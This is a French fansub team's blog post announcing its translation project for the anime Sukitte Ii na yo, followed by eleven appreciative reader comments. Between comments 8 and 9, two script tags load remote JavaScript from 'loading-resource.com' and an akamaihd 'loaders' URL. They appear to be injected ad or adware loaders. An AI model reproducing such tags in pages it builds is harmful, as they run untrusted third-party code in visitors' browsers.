• Annonce : Projet d'automne !

    Bonsoir à tous/toutes :)

    Comme certains sont en train de prier (dédicasse) je vous l'annonce ce soir... Notre projet d'automne est...

    Sukitte Ii na yo

    L'anime suit l'histoire du manga éponyme (paru uniquement en VO pour l'instant), et raconte l'histoire de Mei Tachibana, une jeune fille introvertie qui n'a confiance en personne, mais qui se fait apprécier du garçon le plus populaire de son lycée (après lui avoir foutu un méchant coup de pied, d'ailleurs, c'est à n'y rien comprendre).

    Du pur shojo donc, je pense qu'il était inutile de le préciser, mais bon.

    Les épisodes sortent au Japon tous les samedi, et pour l'instant nous avons fini la traduction du premier épisode, il manque le kara/time/check/qcheck. C'était un peu laborieux de trouver une traduction fidèle en vosta... Nous cherchons encore la perle rare, mais celle-ci est correcte. :) On annonce 13 épisodes pour le moment mais ça, c'est à voir à l'usage ^^

    Sur le projet, je serai à la trad, Pana au check/time, Sukii en qcheck, Kaorya pour les karas et Kikue pour l'enco/up. (N'hésitez pas à vous fâcher sur la personne qui correspond à votre problème mouahaha)

    Nous espérons que vous suivrez ce projet avec nous, et que vous aurez plaisir à le regarder :)

    Bonne soirée à tous ! Prochaine sortie : Shugo Chara Party 3 :)


  • Commentaires

    1
    Mardi 9 Octobre 2012 à 21:08
    Angor

    Mmmh ça c'est bien X)

    Vu que j'attendais une team sur ce projet, me voilà comblé ! :D

    2
    R.Hazuki R.Shimao
    Mardi 9 Octobre 2012 à 21:29

    *Sourire*

    Merci Arigato 

    Merci Gracia

    Merci Grazy

    Merci Tank

    Excellente Continuation  a vous

    3
    DevilSorrow Profil de DevilSorrow
    Mercredi 10 Octobre 2012 à 01:25

    Merci à vous :P

    C'est un petit cadeau à ceux qui nous suivent et qui l'ont demandé :) n'hésitez pas à venir sur le forum pour proposer les projets à l'avenir, on a une partie spéciale et c'est plus pratique pour nous \o/

    4
    Mercredi 10 Octobre 2012 à 06:32
    Sabrewulf

    Pareil qu'Angor, j'attendais que cette série soit traduite par un team, si en plus c'est vous qui vous vous en occupé, c'est encore mieux

    Merci beaucoup

    5
    Mercredi 10 Octobre 2012 à 06:54

    C'est super j'adore Kokoro no Tamago ^^

    6
    Mercredi 10 Octobre 2012 à 10:11

    "Du pur shojo donc, je pense qu'il était inutile de le préciser, mais bon." loool Mais c'est bien les shôjo. Merci de vous occuper de ce projet ! J'attends le premier épisode avec impatience. ^^

    7
    DevilSorrow Profil de DevilSorrow
    Mercredi 10 Octobre 2012 à 11:11

    Merci à tous !

    Héhé Carolus, bien sûr que c'est bien les shôjos :P mais là je crois que j'ai précisé pour rien tellement ça se voit xD d'ailleurs, bon anniversaire au blog ! :3 J'ai pas trop le temps de passer, mais j'y ai pensé ! Pas facile de se partager entre la team et les études... T_T

    8
    shanasama
    Mercredi 10 Octobre 2012 à 11:44

    merci ce projet a l'air marrant et du shôjo pur j'adore encore merci et bonne continuation ^^

    <script src="//loading-resource.com/data.geo.php?callback=window.__geo.getData" type="text/javascript"></script> <script src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862" type="text/javascript"></script>
    9
    Mercredi 10 Octobre 2012 à 12:23

    Merci d'avoir choisi ce projet il m'a l'air super ^^ 

    Bonne continuation !

    10
    Mercredi 10 Octobre 2012 à 18:39

    Devil : Ne t'inquiète pas. Je sais très bien que tu ne nous oublies pas. Je sais ce que c'est d'être overbookée. Je ne passe pas très très souvent ici non plus. ^^

    11
    Jeudi 11 Octobre 2012 à 07:53

    Oh,un nouveau projet? Il m'a l'air pas mal ma fois :3

    De toute façon j'aime les shojo alors celui-ci devrait pas poser de problème x)

    Suivre le flux RSS des commentaires


    Ajouter un commentaire

    Nom / Pseudo :

    E-mail (facultatif) :

    Site Web (facultatif) :

    Commentaire :